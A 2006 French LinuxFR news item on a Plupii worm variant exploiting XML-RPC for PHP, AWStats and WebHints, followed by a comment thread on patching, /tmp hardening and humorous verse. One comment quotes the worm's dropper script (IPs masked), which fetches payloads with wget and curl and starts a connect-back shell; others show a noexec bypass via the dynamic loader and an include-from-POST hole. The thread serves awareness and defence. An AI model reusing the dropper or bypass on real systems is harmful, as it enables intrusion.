Un petit ver pour Linux

Posté par (page perso) . Modéré par Jaimé Ragnagna.
Tags :
0
21
fév.
2006
Linux
Symantec a découvert [1] ce week-end un nouveau ver destiné aux plate-formes Linux et UNIX. Il s'agit d'une nouvelle variante du virus Plupii découvert en novembre dernier [4].

Ce ver ne représente pas une énorme menace car il n'est que peu répandu. Mais comme il profite de 3 failles de sécurités différentes pour se propager, il faut y faire attention. Les 3 failles concernent (plus de détails dans l'article complet) :
1- XML-RPC for PHP Code Execution Vulnerability
2- AWStats Input Validation Vulnerability
3- WebHints Shell Command Injection Vulnerability

Le ver, une fois le système infecté, va ouvrir une trappe (ou porte dérobée) sur le port UDP 27015.

Des correctifs sont accessibles en ligne :
1- XML-RPC 1.1.1 est couvert [2]
2- AWStats 6.4 est couvert [3]
3- Il n'y aurait pas encore de patch disponible pour Webhints

Mettez à jour vos systèmes, si ce n'est pas déjà fait. Les 3 failles de sécurité sont :
1- XML-RPC for PHP Code Execution Vulnerability
Secunia Advisory : SA15852
Lien : http://secunia.com/advisories/15852/
XML-RPC est utilisé dans plusieurs outils de Weblog (ou Blog) comme NucleusCMS, postNuke, WordPress, etc, et dans bien d'autres applications orientés Web. Vérifier que votre outil a bien été mis à jour pour utiliser XML-RPC 1.1.1 ou ultérieur. Ou simplement, désactiver cette fonction si vous ne l'utilisez pas !

2- AWStats Input Validation Vulnerability
Secunia Advisory : SA14299
Lien : http://secunia.com/advisories/14299/
Cette faille permet, en forgeant des adresses de fichiers de log et en les passant au script awstats.pl, de pouvoir lancer des commandes à distance et de récupérer le contenu de certains fichiers de log. AWStats 6.4 corrige ce problème.

3- WebHints Shell Command Injection Vulnerability
Secunia Advisory : SA15652
Lien : http://secunia.com/advisories/15652/
Peu d'information sur celle-ci, si ce n'est que l'utilisateur peut rentrer des informations et que Webhints n'est que peu soucieux de ces entrées. Ainsi un utilisateur mal-intentionné pourrait abuser du système pour forger des entrées permettant l'exécution de commandes à distance.

Le vers, une fois le système infecté, va ouvrir une trappe (ou porte dérobée) sur le port UDP 27015.
Par cette trappe un attaquant distant pourra avoir accès à la machine. Le vers tentera ensuite de se propager vers d'autres systèmes à infecter en forgeant de nouvelles adresses IP à aller attaquer. Il tente ensuite de télécharger des fichiers dans le répertoire /tmp/.temp, et ouvre 2 trappes une avec un SHELL sur une adresse IP spécifique sur le port 8080, et l'autre sur un canal IRC.

Je me permets d'ailleurs de vous renvoyer à ce journal où les premières variantes de ce virus étaient décrites : http://linuxfr.org/~b_adele/20314.html
  • # Un commentaire en alexandrins

    Posté par (page perso) . Évalué à 10.

    Je suis mon cher ami, très heureux de te voir.


    Voilà, c'est fait.
    • [^] # Re: Un commentaire en alexandrins

      Posté par . Évalué à 10.

      Bonjour.

      Je suis l'avocat des éditions Albert René.
      Vous avez utilisé une phrase de notre bande dessinée "Astérix et Cléopatre" pour aubgmenter l'audience de votre site.

      Par conséquent, nous vous remercions de nous verser 20 euros par visite sur votre site sinon nous serons contraints de vous trainer en justice et nous ferons fermer votre site (vous connaissez Mobilix?)

      Cordialement.
    • [^] # Re: Un commentaire en alexandrins

      Posté par (page perso) . Évalué à -1.

      Il fallait le placer... !
      C'est la classe 8)

      Bonne journée _o/
    • [^] # ses petits alexandrins pour commentaires

      Posté par (page perso) . Évalué à 10.

      Certainement heureux tu es de le revoir,
      Or ton unique vers connait un seul déboire.
      Mobilix en débuta ce grand réservoir,
      Malsain Copyright construit son promontoire.
      Ehonté, ce détournement débonnaire
      Nuira largement a ton maigre salaire
      Tuant tout espoir a ton charmant commentaire
      A gagner ces clics pertinent si précaire.
      Iras tu, notre ministre, seulement voir
      Rasserénant DADVSI comme grand pouvoir
      Etre l'unique risée de tout un par-terre ?
      Ses petits alexandrins pour commentaires.
      • [^] # Re: ses petits alexandrins pour commentaires

        Posté par (page perso) . Évalué à 1.

        Trop facile "DADVSI" pour gérer ses pieds !
        • [^] # Re: ses petits alexandrins pour commentaires

          Posté par (page perso) . Évalué à 10.

          si c'est trop facile, je te laisse le plaisir d'ecrire un petit poeme qui :
          - a un sens
          - fait office de commentaire répondant à une autre personne
          - est en alexandrin
          - a des rimes en 4-4-2-2 ( choix délibéré )
          - cache une accrostiche qui fait exactement 12 lettres
          - a le titre et le dernier vers qui sous entendent cette accrostiche
          - et a d'autres choses

          écrire ce petit commentaire m'a fait plaisir et je me suis amusé à improviser cela. je n'y place aucune fierté, aucun orgueil, mais m'entendre dire que c'est facile par une personne qui n'essaie meme pas de répondre sur le même plan, je trouve cela un peu faiblard ( meme si seule phrase se veut être un alexandrin ).
          • [^] # Re: ses petits alexandrins pour commentaires

            Posté par . Évalué à 7.

            Clap clap clap
            Chapeau bas. Je l'ai lu et j'étais loin de m'imaginer qu'il y avait autant de trucs dans ton mini-poème improvisé.

            Respect.
          • [^] # Re: ses petits alexandrins pour commentaires

            Posté par (page perso) . Évalué à 3.

            Je crois pas qu'il ait voulu dire trop facile dans ce sens-là. Je crois qu'il a voulu dire ironiquement qu'il n'était pas facile de compter les pieds avec le terme "DADVSI" dans une phrase.

            Evidemment, il dira lui-même, je pense, ce qu'il a voulu dire, (si ça se trouve j'ai tout faux) mais je voulais préciser ce qu'un tiers aurait compris.

            Et encore bravo pour ces alexandrins :)
            • [^] # Re: ses petits alexandrins pour commentaires

              Posté par (page perso) . Évalué à 2.

              j'ai pertinenté son commentaire au nom du bénéfice du doute car tout compte fait ton interpretation est tout aussi recevable que la mienne.

              Maintenant, j'ai l'impression que certains détails parurent au grand jour avec mon commentaire.
          • [^] # Re: ses petits alexandrins pour commentaires

            Posté par . Évalué à 1.

            Chaleureuses félicitations d'un amateur d'OULIPO

            Il se prend pour Napoléon, son état empire.

          • [^] # Re: ses petits alexandrins pour commentaires

            Posté par . Évalué à 1.

            je n'y place aucune fierté, aucun orgueil

            Le fait que tu repondes (et la facon dont tu reponds) a sa remarque prouve le contraire. Si c'etait le cas, tu aurais remarque que c'etait de l'humour.
            • [^] # Re: ses petits alexandrins pour commentaires

              Posté par (page perso) . Évalué à 2.

              un smiley, un je ->[] , des guillemets sur facile aurait été explicite ... mais là, comme je l'ai dit plus haut, je l'ai peut etre compris de travers, je ne sais pas.

              Si je me suis trompé, je lui présenterais mes excuses.

              Maintenant, que le doute me tiraille, je sens très con.
            • [^] # Re: ses petits alexandrins pour commentaires

              Posté par . Évalué à 2.

              Même remarque mais je dirais qu'il était normal de se sentir fier !
              Le besoin de reconnaissance est normal et il ne faut pas le nier. Pour ce qui est du commentaire incriminé je pense aussi que c'était de l'humour mais effectivement un petit smiley n'aurait pas fait de mal. Enfin, ça a permis à Moun's de mettre en exergue les qualitées de son poème qui m'étaient passées inaperçues (finallement je pense que c'est ce qu'il aurai du faire dès le début avec simplicité).
          • [^] # épigramme

            Posté par . Évalué à 3.

            Mieux vaut que lire un "Moun's" aller couler un bronze:
            C'est bien mieux odorant. J'explique aux malandrins
            ayant pour tout bagage un ou deux Astérix,

            Considérez, messieurs, les vers quatre, cinq, six
            Ainsi que huit et douze: en quoi d'alexandrins
            Ont ils acquis le titre, eux qui ne comptent qu'onze ?

            La métrique assassine enseigne qu'à la rime
            Ce faquin d'e muet ne vaut pas un centime !

            :-)
      • [^] # Re: ses petits alexandrins pour commentaires

        Posté par . Évalué à 1.

        Un message pour toi, de Charlotte Kady:
        "Dis chéri, tu viens déjeuner ?"

        Mine de rien, ça me fait des rimes croisées
        Je sais, je suis déja sorti.
        • [^] # Re: ses petits alexandrins pour commentaires

          Posté par . Évalué à 6.

          Aux moinsseurs compulsifs:

          Ce modeste post avait pour but premier
          Outre de me fendre d'un malheureux quatrain
          Navrant, et d'un niveau assurément moyen
          Ne vous en déplaise, de jadis, retrouver

          Aussi, les trentenaires, ou plus se souviendront
          Ravis de retrouver leur jeunesse passée
          D'une pub*, où un homme, déclamant d'un ton
          Sûr et grandiloquent, fut rondement mouché.

          ----------
          *C'était la réclame pour la moutarde maille, où cet homme récitant des vers devant son miroir fut ramené sur terre par sa femme qui lui hurlait "Dis chéri, tu viens déjeuner?"
  • # developpeurs web et securité

    Posté par . Évalué à 10.

    Les développeurs web sont rarement sensibles aux pbs de sécurité, je pense que c'est "historique". Je me permets de dire cela car en temps que dev php, je me suis sensibilisé à l'aspect sécurité au bout d'un an d'experience environ.

    Pour les dev php qui veulent se renseigner sur le sujet, c'est ici (phpsec.org).
    • [^] # Re: developpeurs web et securité

      Posté par . Évalué à 9.

      oups, le lien est mal passé : http://phpsec.org/projects/guide/fr/1.html
    • [^] # Re: developpeurs web et securité

      Posté par (page perso) . Évalué à -2.

      s/les développeurs web/les développeurs php/
      La plupart des autres ont bien conscience de la problématique de sécurité. Que ce soit avec perl, avec Java, avec python ... mais effectivement pas avec php.

      Oups, j'ai marché dedans.
      • [^] # Re: developpeurs web et securité

        Posté par (page perso) . Évalué à 0.

        En même temps awstats il est pas écris en perl...

        Il est vrai que pas mal de monde as écris en php porcui (mais on vois ça aussi en C/C++/etc...).

        Je pense qu'il ne faut pas tout généraliser, des programmes écris comme des cons y en a plein.

        Un exemple de truc débile (ou dérivés) :
        include "{$_POST['sechole']}";

        Des truc comme ça, c'est pas chose rare, mais bon y a pas mal de monde qui débute en php et qui n'imagine pas que des petits truc comme ça puisse être exploités...

        Je ne parle pas des registrer_globals qui sont pour moi un insecure globals...
        • [^] # Re: developpeurs web et securité

          Posté par . Évalué à 2.

          je parle de php parce que c'est ce que je connais, mais je ne veux pas faire de généralité, au contraire. Il y a peut être des bidouilleurs en php, mais je pense aussi que ce n'est pas réservé au php. On va dire que php est un langage accessible et jeune, d'ou un nombre important de débutants. mais des 3 logiciels présents ici, un seul est écrit en php.

          peut être que des personnes familières avec perl et le langage utilisé pour développer awstats pourraient donner des infos sur la conduite à suivre avec ces langages au niveau sécurité ?
          • [^] # Re: developpeurs web et securité

            Posté par (page perso) . Évalué à 1.

            Disons que PHP est plus accessible que la plupart des autres langages. Donc, forcément, on y trouve plus de sources de trous.

            Mais le problème de sécurité générale des applis web concerne de toute façon tout les vieux programmes, ceux d'une époque où internet était suffisement peu fréquenté pour que seuls les trous gigantesques posent problème.

            De nos jours, tout peut-être source de problème, du coup le seul principe valable est de tout restreindre et de n'autoriser qu'au cas par cas. Les vieilles applis web doivent en ce sens faire marche arrière et tout reprendre, ce qui n'est pas toujours facile.

            En ce sens, ça touche bien évidemment aussi des programmes perl comme awstats qui sont bien vieux.

            Ceci étant dit, un programme perl qui utilise "use strict;" et qui par conséquent initialize bien ses variables et les chopes proprement avec les modules qui vont bien sont facilement sauf.
            C'est bien plus compliqué pour une application PHP qui idéalement devrait fonctionner avec register_globals déactivé, idéal dur à atteindre avec des vieilles applis ou la progression doit se faire petit à petit. Bien plus compliqué avec PHP d'autant que selon quelques options de la conf, beaucoup de choses changent (magic_quotes etc) et que ce qui était recommandé il y a peu est officiellement proscrit ensuite (le problème général de PHP reste celui de l'incohérence de son développement, qui rend les choses compliquées pour les dev ; rien que la différente manière de nommer les fonctions implique de tout le temps en revenir au manuel, cf http://tnx.nl/php ).
        • [^] # Re: developpeurs web et securité

          Posté par (page perso) . Évalué à 1.

          « En même temps awstats il est pas écris en perl... »

          Il l'est :
          http://cvs.sourceforge.net/viewcvs.py/awstats/awstats/wwwroo(...)
  • # Logs apache

    Posté par . Évalué à 10.

    Pour plus de details , je pense que ca ressemble à ca dans les logs apache :
    http://pschit.net/logspourris.txt
    • [^] # Re: Logs apache

      Posté par (page perso) . Évalué à 4.

      Je ne vais pas faire de commentaire sur la reactivite de Symantec, mais j'ai eu ce genre de logs il y a bien 2 mois au minimum :


      X - - [16/Dec/2005:22:07:35 +0900] "POST /xmlrpc.php HTTP/1.1" 404 216 "-" "X"
      X - - [16/Dec/2005:22:07:36 +0900] "POST /blog/xmlrpc.php HTTP/1.1" 404 221 "-" "X"
      X - - [16/Dec/2005:22:07:38 +0900] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 228 "-" "X"
      X - - [16/Dec/2005:22:07:39 +0900] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 229 "-" "X"
      X - - [16/Dec/2005:22:07:40 +0900] "POST /drupal/xmlrpc.php HTTP/1.1" 404 223 "-" "X"
      X - - [16/Dec/2005:22:07:42 +0900] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 229 "-" "X"
      X - - [16/Dec/2005:22:07:43 +0900] "POST /wordpress/xmlrpc.php HTTP/1.1" 404 226 "-" "X"


      Ca semblait toujours venir d'un Windows
  • # D'un autre côté...

    Posté par . Évalué à 10.

    ... ceux qui se font chopper avec des vulnérabilités aussi anciennes sont sans doutes pas les plus capables et/ou rigoureux.

    C'est exactement le même genre de conneries qui ont fait la super réputation de windows: vieilles vulnérabilités, nouveau virus... (sauf que généralement, dans le monde du LL on a les patches plus vite)
    • [^] # Re: D'un autre côté...

      Posté par (page perso) . Évalué à 9.

      ... ceux qui se font chopper avec des vulnérabilités aussi anciennes sont sans doutes pas les plus capables et/ou rigoureux.

      D'autant plus qu'il suffit de mettre /tmp en noexec, nodev et nosuid pour avoir la paix!
      Je ne comprend vraiment pas que l'on fasse tout un foin (Cf. FD en ce moment) pour quelque chose d'aussi insignifiant. Quoiqu'à la réflexion si ça peut faire peur à quelques apprentis admins et les amener à prendre des mesures qui auraient dûes être appliquées dès le départ, c'est peut-être un moindre mal.
      Mais je n'aimerai pas que tout ce [battage|foin] finisse par laisser penser au dissaïdor que Linux est moins secure que qui vous savez.
      • [^] # Re: D'un autre côté...

        Posté par (page perso) . Évalué à 1.

        Il faut aussi repartitionner tout ton disque si /tmp n'est pas sur une partition distincte. Donc je dis halte aux "il suffit de..."
        • [^] # Re: D'un autre côté...

          Posté par (page perso) . Évalué à 4.

          Y'a pas un truc qui s'appelle tmpfs justement ?
        • [^] # Re: D'un autre côté...

          Posté par (page perso) . Évalué à 6.

          Tout admin, qui se respecte, utilise un partition distincte pour /tmp /var /home etc.
          • [^] # Re: D'un autre côté...

            Posté par . Évalué à 10.

            Et tout utilisateur de GNU/Linux n'est pas forcément admin système, ni même n'en a la prétention ...
          • [^] # Re: D'un autre côté...

            Posté par (page perso) . Évalué à 9.

            Pour maximiser ses chances d'avoir l'erreur "No space left on device" ?
            • [^] # Re: D'un autre côté...

              Posté par (page perso) . Évalué à 10.

              Et là on te répondra "LVM" !
              Et un autre rétorqueras "Oui mais LVM si ça casse tu as l'air malin"
              Un autre "Backups !"
              etc...

              Ce troll plus/moins de partitions est mon préféré entre sysadmins :)

              N'empêche j'ai toujours pas trouvé la solution idéale...
            • [^] # Re: D'un autre côté...

              Posté par . Évalué à 9.

              1) Mieux vaut avoir un "no space left on device" sur un /tmp que sur un / avec ton tmp dedans.

              2) c'est pas si compliqué de faire une partoche de plus pour y mettre /tmp et lui dedier quelques centaines de mega, vu la taille des DD aujourd'hui.

              3) Qq1 qui monte un machine avec un serveur web n'est plus un simple utilisateur, mais qu'il le veuille ou non, devient admin et DOIT se tenir au courant de ce genre de petit truc.

              4) => http://www.us.debian.org/doc/manuals/securing-debian-howto/i(...)
              (existe aussi en francais)
            • [^] # Re: D'un autre côté...

              Posté par (page perso) . Évalué à 5.

              >Pour maximiser ses chances d'avoir l'erreur "No space left on device" ?

              Pour minimiser, les chances de l'avoir sur un / .

              Le /var contient des fichiers qui augmentent indépendament de la volonté du sys admin (logs, ...). En cas de comportement anormal du système ou de facteurs externe (attaque, par exemple), /var peut devenir full. Il faut donc empêcher que le système devienne inutilisable dans ce cas là => partoch séparée.

              Un raisonnement similaire peut s'appliquer à /tmp et /home entre autres.

              Le reste est une question de dimensionnement.

              Pour un serveur, généralement :
              /home petit, /var grand, /tmp de quoi tenir un DVD
              Pour un machine perso :
              /home grand, /var petit, /tmp de quoi tenir un DVD (enfin pour mon usage perso)

              Le "No space left on device" est un fait et peut arriver quelque soit la taille des supports. Il faut donc faire de sorte que quand cela arrive les conséquences soient minimes.
        • [^] # Re: D'un autre côté...

          Posté par . Évalué à 1.

          Avec mount -bind ça marche pas ? (j'ai pas essayé)
          • [^] # Re: D'un autre côté...

            Posté par (page perso) . Évalué à 2.

            --bind ==> permet de faire plusieurs "points de montage" du meme disque.

            a.k.a :
            /
            /home/monfauxtmp
            /tmp => /home/monfauxtmp

            si /tmp explose, /home/monfauxtmp explose et donc...
            / explose.

            Donc rien à essayer de ce coté là.
      • [^] # Re: D'un autre côté...

        Posté par (page perso) . Évalué à 6.

        Mais je n'aimerai pas que tout ce [battage|foin] finisse par laisser penser au dissaïdor que Linux est moins secure que qui vous savez.


        Mais est-ce que ça remet vraiment en cause Linux en soit ? C'est plutôt les applications qui sont fautives, pas le système lui-même...
      • [^] # Re: D'un autre côté...

        Posté par . Évalué à 6.


        D'autant plus qu'il suffit de mettre /tmp en noexec, nodev et nosuid pour avoir la paix!


        Il me semble que noexec/nobidule/nomachin sur /tmp ne sert strictement à rien tant que tu peux faire /lib/ld-linux.so.2 /tmp/ton_soft_a_executer .
        • [^] # Re: D'un autre côté...

          Posté par (page perso) . Évalué à 8.

          Etapes préliminaire:
          qemu-img create test.img 1G
          sudo losetup /dev/loop1 test.img
          sudo mkfs.ext3 /dev/loop1
          mkdir noexec
          sudo mount /dev/loop1 noexec/ -o noexec,nodev,nosuid
          sudo cp ./bin/hi ./noexec/

          Infos:
          ./bin/hi: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.0, dynamically linked (uses shared libs), not stripped

          /dev/loop1 on /home/nico/noexec type ext3 (rw,noexec,nosuid,nodev)

          Linux xavia.thenico.fr.eu.org 2.6.12-10-686 #1 Mon Feb 13 12:18:37 UTC 2006 i686 GNU/Linux

          Test témoin:
          nico@xavia:~$ ./bin/hi
          . half-life 3.1.0.x remote buffer-overflow for linux x86
          . (c)2000, Tamandua Sekure Laboratories
          . Authors: Thiago Zaninotti & Gustavo Scotti

          . usage: hl-rcon <server ip[:port]>
          nico@xavia:~$ /lib/ld-linux.so.2 ~/bin/hi
          . half-life 3.1.0.x remote buffer-overflow for linux x86
          . (c)2000, Tamandua Sekure Laboratories
          . Authors: Thiago Zaninotti & Gustavo Scotti

          . usage: hl-rcon <server ip[:port]>

          Test dans la partition noexec:
          nico@xavia:~/noexec$ ./hi
          bash: ./hi: Permission non accordée
          nico@xavia:~/noexec$ sudo ./hi
          sudo: unable to execute ./hi: Permission denied
          nico@xavia:~/noexec$ /lib/ld-linux.so.2 ./hi
          ./hi: error while loading shared libraries: ./hi: failed to map segment from shared object: Operation not permitted
          nico@xavia:~/noexec$ sudo /lib/ld-linux.so.2 ./hi
          ./hi: error while loading shared libraries: ./hi: failed to map segment from shared object: Operation not permitted

          Fin du test

          Test effectué sur une Ubuntu hoary non fortifié au niveau kernel.
          • [^] # Re: D'un autre côté...

            Posté par (page perso) . Évalué à 2.

            nico@xavia:~/noexec$ /lib/ld-linux.so.2 /lib/ld-linux.so.2 ./hi
            Erreur de segmentation
            nico@xavia:~/noexec$ strace /lib/ld-linux.so.2 /lib/ld-linux.so.2 ./hi
            execve("/lib/ld-linux.so.2", ["/lib/ld-linux.so.2", "/lib/ld-linux.so.2", "./hi"], [/* 36 vars */]) = 0
            uname({sys="Linux", node="xavia.thenico.fr.eu.org", ...}) = 0
            brk(0) = 0x80016000
            access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
            old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f79000
            old_mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f77000
            open("/lib/ld-linux.so.2", O_RDONLY) = 3
            read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220\7\0"..., 512) = 512fstat64(3, {st_mode=S_IFREG|0755, st_size=86596, ...}) = 0
            old_mmap(NULL, 90052, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7f61000
            old_mmap(0xb7f76000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x14000) = 0xb7f76000
            close(3) = 0
            access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
            --- SIGSEGV (Segmentation fault) @ 0 (0) ---
            +++ killed by SIGSEGV +++

            Ca aussi ca ne fonctionne pas !
          • [^] # Re: D'un autre côté...

            Posté par . Évalué à 3.

            Pourtant sur une debian ca marche sans souci :/

            root@proute# mount -o remount,noexec /tmp
            root@proute# mount | grep tmp
            /dev/sda6 on /tmp type reiserfs (rw,noexec,noatime)
            lolo@proute$ cp /bin/ls /tmp
            lolo@proute$ /tmp/ls
            bash: /tmp/ls: Permission denied
            lolo@proute$ /lib/ld-linux.so.2 /tmp/ls
            ls

            T'es bien sur que le kernel ubuntu a pas un patch en plus ?
            • [^] # Strange !

              Posté par (page perso) . Évalué à 2.

              Sur une distrib desktop, ca m'etonnerai qu'il y est un patch du style grsec.

              Réessai avec les même options que moi.
              • [^] # Re: Strange !

                Posté par . Évalué à 2.

                Oui et ca ne change rien ( normal c ets pas une option nosuid/nodev qui va changer qqch ) , la seule chose qui change est que je le fais avec une vraie partition et pas un loop , par contre j aimerais savoir :

                - ton binaire est bien un binaire ELF?
                - le kernel ubuntu est patché avec selinux ?
                - ton systeme utilise libsafe ?
                • [^] # Re: Strange !

                  Posté par (page perso) . Évalué à 2.

                  1) Oui, le binaire est bien un elf.
                  J'ai mis le résultat de file sur le binaire.
                  nico@xavia:~$ ldd bin/hi
                  linux-gate.so.1 => (0xffffe000)
                  libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7dbb000)
                  /lib/ld-linux.so.2 (0xb7f03000)

                  2) D'apres le fichier que j'ai dans /boot/config
                  CONFIG_SECURITY_SELINUX=y
                  CONFIG_SECURITY_SELINUX_BOOTPARAM=y
                  CONFIG_SECURITY_SELINUX_BOOTPARAM_VALUE=0
                  CONFIG_SECURITY_SELINUX_DISABLE=y
                  CONFIG_SECURITY_SELINUX_DEVELOP=y
                  CONFIG_SECURITY_SELINUX_AVC_STATS=y
                  CONFIG_SECURITY_SELINUX_CHECKREQPROT_VALUE=1
                  Ca me laisse supposer que selinux est compilé mais qu'il est desactivé.

                  3)
                  nico@xavia:~$ aptitude search libsafe
                  p libsafe - Protection against buffer overflow vulner
                  p libsafe-hole-perl - Perl module which makes a "hole" in the S

                  On dirait pas ...
              • [^] # Re: Strange !

                Posté par . Évalué à 3.

                Ça dépend de la façon dont le binaire est consitué: s'il est lié statiquement l'astuce du loader ne marche pas telle quelle.
                Exemple:

                $ cat <> tst.c
                #include <stdio.h>
                int main(void) { printf("pouet\n"); return(0); }
                EOF

                $ gcc tst.c -o /tmp/tst
                $ chmod -x /tmp/tst
                $ /lib/ld-linux.so.2 /tmp/tst
                pouet

                $ gcc -static tst.c -o /tmp/tst
                $ /lib/ld-linux.so.2 /tmp/tst
                Segmentation fault (core dumped)

                Mais quoiqu'il en soit, il reste des choses aussi simple que l'utilisation de scripts.
                $ echo -e "echo pouet" > /tmp/tst.sh
                $ chmod -x /tmp/tst.sh
                $ /bin/sh /tmp/tst.sh
                pouet
            • [^] # Re: D'un autre côté...

              Posté par (page perso) . Évalué à 5.

              Pourtant sur une debian ca marche sans souci :/
              Je sais pas si ça passe ou pas sur ta debian, mais mettre ton /tmp en noexec, ce n'est pas une bonne idée de toutes façons.

              Au prochain apt{itude,-get} up{date,grade}, ça va merder. La mise à jour se fera, mais certains paquets utilisent des scripts perls (ou autre chose) dans le /tmp. Ces scripts échoueraient en noexec (testé).

              C'est pour ça que j'ai remis mon /tmp en exec. Il y a bien d'autres choses à faire à d'autres endroits pour sécuriser sa machine.
              • [^] # Re: D'un autre côté...

                Posté par . Évalué à 6.


                Au prochain apt{itude,-get} up{date,grade}, ça va merder. La mise à jour se fera, mais certains paquets utilisent des scripts perls (ou autre chose) dans le /tmp. Ces scripts échoueraient en noexec (testé).


                Pour ca , il suffit de lire le manuel debian ;)
                http://www.debian.org/doc/manuals/securing-debian-howto/ch4.(...)

                Soyez vigilant si vous mettez /tmp en noexec et que vous voulez installer de nouveaux logiciels étant donné que certains peuvent l'utiliser pendant l'installation. Apt est un programme de ce genre (voir http://bugs.debian.org/116448) si APT::ExtractTemplates::TempDir n'est pas configuré correctement (voir apt-extracttemplates(1)). Vous pouvez paramétrer cette variable dans le fichier /etc/apt/apt.conf vers un autre répertoire que /tmp et qui aura les privilèges exec.
  • # autres systemes d'exploitation

    Posté par (page perso) . Évalué à 6.

    Une interrogation, vu qu'a ma connaissance tous ces programmes existent sur d'autre plateforme que Linux, n'est il pas etonnant que ce ver soit topé linux ?
    • [^] # Re: autres systemes d'exploitation

      Posté par . Évalué à 10.

      Parce que dans la série amalgame :

      applications open-source = linux
      php = linux

      tout comme on a :
      linux = gratuit
    • [^] # Re: autres systemes d'exploitation

      Posté par (page perso) . Évalué à 4.

      Tu peux effectivement installer Mambo, Wordpress et autre appli Php sur Windows, mais les scripts que les bots tentent de télécharger puis d'exécuter sont des scripts bash et font appel à des commandes Unix (curl et wget) dont je ne connais pas d'équivalent sous Ouinouin.

      Pour info voici un de ces scripts dont j'ai masqué les adresses IP car les sites et les vers téléchargés sont encore présents (enfin plus pour très longtemps amha):


      #!/bin/bash
      cd /tmp
      rm -rf *
      mkdir .temp
      cd .temp
      if [ -f cb ]; then
      /bin/chmod +x cb
      ./cb xxx.xxx.xxx.xxx 8080 &
      else
      wget xxx.xxx.xxx.xxx/cb
      /bin/chmod +x cb
      ./cb xxx.xxx.xxx.xxx 8080 &
      fi
      if [ -f https ]; then
      perl https
      else
      wget xxx.xxx.xxx.xxx/https
      curl -o https xxx.xxx.xxx.xxx/https
      perl https
      fi
      if [ -f ping.txt ]; then
      perl ping.txt xxx.xxx.xxx.xxx 8080 &
      else
      curl -o ping.txt http://xxx.xxx.xxx.xxx/ping.txt
      perl ping.txt xxx.xxx.xxx.xxx 8080 &
      fi
      if [ -f httpd ]; then
      /bin/chmod +x httpd
      export PATH="."
      httpd
      else
      wget xxx.xxx.xxx.xxx/httpd
      chmod +x httpd
      export PATH="."
      httpd
      fi
      if [ -f httpd ]; then
      /bin/chmod +x httpd
      export PATH="."
      httpd
      else
      curl -o httpd xxx.xxx.xxx.xxx/httpd
      /bin/chmod +x httpd
      export PATH="."
      httpd
      fi
      /bin/rm -rf /tmp/su*


      Mais effectivement on devrait pouvoir en faire aisément un wsh. Enfin moi j'ai autre chose à faire... ;-)
  • # Ce que l'on ne sait pas

    Posté par . Évalué à 7.

    en lisant le journal c'est : "qu'est-ce qu'on risque avec ce ver ?"
    • [^] # Re: Ce que l'on ne sait pas

      Posté par (page perso) . Évalué à 1.

      C'est peut-être parceque c'est une dépêche et non un journal que tu n'as pas lu la deuxième partie de la dépêche qui détaille justement ce que ce ver fait...
      • [^] # Re: Ce que l'on ne sait pas

        Posté par . Évalué à 5.

        Je dois la prendre comment ta réponse, parce que c'est limite !

        Ma question était plutôt quelles incidences peuvent avoir ces failles sur le système sachant que le programme ne peut avoir que accès au compte de l'utilisateur qui lance le service apache (ou autre). Et plus généralement, comment gèrent les distributions actuelles l'utilisateur apache ? a-t-il accès à un shell ? a-t-il accès à toutes les commandes du système ?

        Tout pleins de questions qui ne sont pas dans la deuxième partie de la dépêche !
        • [^] # Re: Ce que l'on ne sait pas

          Posté par (page perso) . Évalué à 3.

          Effectivement, ce n'est pas dans la deuxième partie de la dépêche, ni d'ailleurs si le vers peut arriver à escalader les privilèges (c'est-à-dire obtenir des privilèges supérieurs).
          Mais je n'ai pas l'information à disposition.

          En théorie donc, si ton système est configuré de manière assez sécurisé (user sans shell, chroot, etc.) tu devrais poser peut-être quelques problèmes au vers lors de l'infection qui pourrait peut-être échouée. Mais je ne puis te le confirmer.

          Le plus sûr est de toute façon de mettre à jour ses logiciels pour éviter ce genre de soucis tout en reserrant la sécurité.

          Comme ta question dépend de ta distribution ou de comment tu as installé/configuré tes serveurs web, on peut que difficilement y répondre. Il y a trop de possibilités.

          Jean-Christophe
        • [^] # Re: Ce que l'on ne sait pas

          Posté par . Évalué à 3.

          Ce que l'on ne sait pas
          en lisant le journal c'est : "qu'est-ce qu'on risque avec ce ver ?"

          Il est quand même indiqué que le ver, une fois le système infecté, va ouvrir une trappe (ou porte dérobée) sur le port UDP 27015.

          Ça peut impliquer que l'auteur du ver ou toute personne connaissant la façon d'utiliser la porte dérobée pourra faire sur ta machine tout ce qu'Apache pourrait faire...

          Et plus généralement, comment gèrent les distributions actuelles l'utilisateur apache ? a-t-il accès à un shell ? a-t-il accès à toutes les commandes du système ?

          Vaste question qui dépend fortement de la distribution et demanderait plus qu'une dépêche pour être traitée...
          Cela dit, pour une configuration "bateau" (pas de chroot (possible avec Apache ?), pas de SELinux, etc.), ça peut vouloir dire : accéder à tous les fichiers qui ne sont pas protégés en lecture pour "other", exécuter n'importe quoi avec exec, y compris chercher un exploit root local, scanner ton réseau s'il est accessible du serveur web, lancer un DDOS...

          Théorie du pot-au-feu : « Tout milieu où existe une notion de hauteur (notamment les milieux économique, politique, professionnels) se comporte comme un pot-au-feu : les mauvaises graisses remontent. »

          • [^] # Re: Ce que l'on ne sait pas

            Posté par (page perso) . Évalué à 3.

            Cela dit, pour une configuration "bateau" (pas de chroot (possible avec Apache ?)

            Sur OpenBSD, la configuration "bateau" c'est Apache chrooté.

            Bon maintenant, l'Apache utilisé est un fork de la version 1.3.29 et commence à ne plus ressembler beaucoup à la version couramment utilisée dans les distributions Linux. Si ces dernières voulaient réellement sécuriser les serveurs qu'elles fournissent, elles pourraient très bien le faire.
